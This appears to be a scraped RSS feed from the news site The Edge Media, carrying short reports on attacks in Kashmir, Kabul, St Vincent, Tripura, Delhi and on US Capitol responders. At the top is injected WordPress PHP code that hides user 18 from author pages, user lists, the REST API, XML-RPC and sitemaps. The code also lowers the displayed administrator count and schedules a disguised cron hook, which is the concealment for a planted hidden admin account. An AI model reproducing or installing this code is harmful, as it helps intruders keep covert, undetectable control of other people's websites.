add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post J&K: Two non-locals were killed in a targeted attack in Kulgam, and migrant workers were relocated to safe camps appeared first on The Edge Media.
]]>
In a message flashed to all 10 district police chiefs in the Valley, IGP (Kashmir) Vijay Kumar said: “All non-local laborers in your respective jurisdiction should be brought to the nearest police or central paramilitary force or Army establishment just now.”
The post J&K: Two non-locals were killed in a targeted attack in Kulgam, and migrant workers were relocated to safe camps appeared first on The Edge Media.
]]>The post Afghan Passports with Indian Visas are Seized by Urdu-Speaking Guys Who Attack a Kabul Office appeared first on The Edge Media.
]]>According to sources familiar with the situation, Indian immigration services have been informed of the seizure of Afghan passports with Indian visas, citing a severe concern that these documents could be used to fabricate false passports for terrorists in the future.
While it is unclear whose organization was behind the attack on the Indian visa outsourcing firm in Kabul, the invaders were speaking Urdu, which raises suspicions about Pakistan.
The post Afghan Passports with Indian Visas are Seized by Urdu-Speaking Guys Who Attack a Kabul Office appeared first on The Edge Media.
]]>The post PM Modi condemns attack on Prime Minister Ralph Gonsalves of St Vincent and the Grenadines appeared first on The Edge Media.
]]>PM Modi said in a tweet: “I condemn the ghastly attack on Prime Minister Ralph Gonsalves of St Vincent and the Grenadines. Excellency, I wish you quick recovery and good health. We will miss your presence at the UNSC Open Debate on Maritime Security today.”
Gonsalves, 74, was struck on the head by an object during an anti-vaccine rally on Thursday and was flown to Barbados for medical treatment. He said on Friday he was recovering.
The premier of the Caribbean country was attacked as he walked through a group of about 200 protesters to get into parliament.
“By the grace of God almighty, I’m doing well and on the mend,” he wrote on social media. He said there was no sign of neurological damage, though his concussion would require weeks of monitoring.
Gonsalves was hit by a projectile just above his temple, his office said in a statement. Video footage following the attack showed a dazed Gonsalves, his white shirt turning red as blood streaked down. Security guards rushed him from the scene and he was later flown to Barbados for medical care.
The protest was organised by unions representing nurses, police and other workers who fear Covid-19 vaccinations could be mandated for some employees by the government, according to reports and videos on social media.
Gonsalves has said proposed changes to his country’s public health law wouldn’t include penalties for those who refuse Covid-19 shots. He also said there was no justification for the attack. “We can have our disagreements, but to cross the line into violence is unacceptable in a democratic society,” he said. St Vincent and the Grenadines, a chain of 32 islands in the southern Caribbean, is home to more than 110,000 people.
The post PM Modi condemns attack on Prime Minister Ralph Gonsalves of St Vincent and the Grenadines appeared first on The Edge Media.
]]>The post 2 Soldiers killed in Ambush along India-Bangladesh border in Tripura. appeared first on The Edge Media.
]]>The border guarding force said the ambush took place around 6.30 AM in the Dhalai district of the state and those killed included a Sub-Inspector of the force.
The ambush and retaliation by the troops took place near the R C Nath Border post that is under the Chawmanu police station area of the district in the Panisagar sector.
Dhalai district is about 94 Km from state capital Agartala and it borders Bangladesh on the northern and southern sides.
The post 2 Soldiers killed in Ambush along India-Bangladesh border in Tripura. appeared first on The Edge Media.
]]>The post Four officers who responded to US capitol attack have died by suicide. appeared first on The Edge Media.
]]>Metropolitan police officer Gunther Hashida was found dead in his home Thursday, department spokesman Hugh Carew said in a statement.
Hashida joined the District of Columbia’s Metropolitan Police Department (MPD) in may 2003.
Another MPD officer who responded to the capitol on jan 6 , kyle freytag , was found dead on July 10, Carew said.
DeFrayTag’s cause of death was also suicide, carew said.
The post Four officers who responded to US capitol attack have died by suicide. appeared first on The Edge Media.
]]>The post Suspected rocket attack on Afghan Presidential Palace : Report. appeared first on The Edge Media.
]]>The rockets, fired at around 8:00 am (0330 GMT), were heard across the heavily fortified Green Zone that houses the presidential palace and several embassies, including the US mission.
“Today the enemies of Afghanistan launched rocket attacks in different parts of Kabul city,” said interior ministry spokesman Mirwais Stanikazai.
“All the rockets hit three different parts. Based on our initial information, we have no casualties. Our team is investigating.”
Minutes after the attack, Ghani began an address to the nation in the presence of some of his top official.
The post Suspected rocket attack on Afghan Presidential Palace : Report. appeared first on The Edge Media.
]]>The post A 16-year-old Girl attacked with Axe on Delhi’s south campus by a neighbour. appeared first on The Edge Media.
]]>The accused is the teen’s 20-year-old neighbor Pradeep who was reportedly pursuing the girl. After the girl rejected his advances, he attacked her with an axe this afternoon, police said.
The girl is a student of Class 11 and lives in a slum in the nearby Moti Bagh area . Her father works as a security guard.
The police received a call at around 1.30 pm about the brutal attack. They reached the spot soon after and took the girl, Who lay unconscious on the street covered in blood , to a hospital.
Further probe is being conducted.
The post A 16-year-old Girl attacked with Axe on Delhi’s south campus by a neighbour. appeared first on The Edge Media.
]]>